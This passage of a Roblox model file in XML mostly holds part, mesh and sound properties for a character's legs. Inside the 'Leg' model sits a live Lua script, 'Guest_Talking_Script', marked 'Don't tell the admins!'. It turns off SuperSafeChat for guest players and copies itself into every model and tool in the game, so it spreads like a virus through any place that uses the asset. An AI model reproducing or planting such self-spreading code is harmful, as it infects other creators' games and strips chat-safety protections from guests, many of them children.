							<R22>7.24662368e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1748">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>66.5001297</X>
							<Y>1.70012295</Y>
							<Z>17.2009048</Z>
							<R00>-1</R00>
							<R01>-5.06554125e-006</R01>
							<R02>-2.97580613e-007</R02>
							<R10>2.64481912e-007</R10>
							<R11>-7.19706304e-006</R11>
							<R12>-1</R12>
							<R20>5.06553897e-006</R20>
							<R21>-1</R21>
							<R22>7.19706441e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1749">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>66.4997559</X>
							<Y>2.39177322</Y>
							<Z>16.4032307</Z>
							<R00>-0.999999702</R00>
							<R01>-1.21777293e-006</R01>
							<R02>0.000807901728</R02>
							<R10>-9.53028575e-007</R10>
							<R11>-0.999996603</R11>
							<R12>-0.00260612811</R12>
							<R20>0.000807901961</R20>
							<R21>-0.00260612788</R21>
							<R22>0.999996245</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00424615713</X>
							<Y>0.000693036651</Y>
							<Z>-0.000332662428</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-0.000573272875</X>
							<Y>-0.0106872497</Y>
							<Z>0.00213207956</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1750">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>66.5001373</X>
							<Y>1.70006192</Y>
							<Z>15.8009033</Z>
							<R00>-1</R00>
							<R01>-4.91359287e-006</R01>
							<R02>2.23174925e-006</R02>
							<R10>-2.2317347e-006</R10>
							<R11>-6.91593505e-006</R11>
							<R12>-1</R12>
							<R20>4.91360788e-006</R20>
							<R21>-1</R21>
							<R22>6.91592413e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1751">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>66.5001221</X>
							<Y>2.39992809</Y>
							<Z>16.9008808</Z>
							<R00>1</R00>
							<R01>3.80268801e-007</R01>
							<R02>5.06553943e-006</R02>
							<R10>-2.64481912e-007</R10>
							<R11>0.99999994</R11>
							<R12>2.23174652e-006</R12>
							<R20>-5.06553897e-006</R20>
							<R21>-2.23174789e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sock</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX1752">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1.5</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1753">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1754">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Leg2</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX1755">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1011</int>
						<CoordinateFrame name="CFrame">
							<X>69.5000076</X>
							<Y>2.00011945</Y>
							<Z>17.1086464</Z>
							<R00>1</R00>
							<R01>3.31342207e-008</R01>
							<R02>-1.00498494e-013</R02>
							<R10>3.31343202e-008</R10>
							<R11>0.99999994</R11>
							<R12>3.42282895e-008</R12>
							<R20>1.08124908e-013</R20>
							<R21>-3.42280764e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.75200968e-017</X>
							<Y>1.42753641e-019</Y>
							<Z>7.02959459e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-3.53113775e-017</X>
							<Y>-0.0165959056</Y>
							<Z>2.34055519e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX1756">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX1757">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3qd51bp7c</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX1758">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">amne30</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX1759">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">evbgxllxo</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1760">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>69.5001144</X>
							<Y>3.19956374</Y>
							<Z>16.8992653</Z>
							<R00>-0.980784416</R00>
							<R01>0.195094824</R01>
							<R02>4.76357354e-006</R02>
							<R10>-0.195094839</R10>
							<R11>-0.980784357</R11>
							<R12>2.91777565e-006</R12>
							<R20>5.24128109e-006</R20>
							<R21>1.93235974e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1761">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1.39999998</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1762">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>69.500145</X>
							<Y>2.39993191</Y>
							<Z>16.8992634</Z>
							<R00>1</R00>
							<R01>3.80268801e-007</R01>
							<R02>5.06553943e-006</R02>
							<R10>-2.64481912e-007</R10>
							<R11>0.99999994</R11>
							<R12>2.23174652e-006</R12>
							<R20>-5.06553897e-006</R20>
							<R21>-2.23174789e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sock</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX1763">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1.5</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1764">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>69.5001373</X>
							<Y>1.70013058</Y>
							<Z>17.1992855</Z>
							<R00>-1</R00>
							<R01>-5.06554125e-006</R01>
							<R02>-2.97580613e-007</R02>
							<R10>2.64481912e-007</R10>
							<R11>-7.19706304e-006</R11>
							<R12>-1</R12>
							<R20>5.06553897e-006</R20>
							<R21>-1</R21>
							<R22>7.19706441e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1765">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>69.5001221</X>
							<Y>1.70008481</Y>
							<Z>15.7993221</Z>
							<R00>-1</R00>
							<R01>-4.91359287e-006</R01>
							<R02>2.23174925e-006</R02>
							<R10>-2.2317347e-006</R10>
							<R11>-6.91593505e-006</R11>
							<R12>-1</R12>
							<R20>4.91360788e-006</R20>
							<R21>-1</R21>
							<R22>6.91592413e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1766">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1009</int>
						<CoordinateFrame name="CFrame">
							<X>69.5001221</X>
							<Y>1.7001344</Y>
							<Z>16.5993099</Z>
							<R00>-1</R00>
							<R01>-5.09602432e-006</R01>
							<R02>-8.92743856e-007</R02>
							<R10>8.26530368e-007</R10>
							<R11>-7.24662141e-006</R11>
							<R12>-0.99999994</R12>
							<R20>5.09601796e-006</R20>
							<R21>-1</R21>
							<R22>7.2466255e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
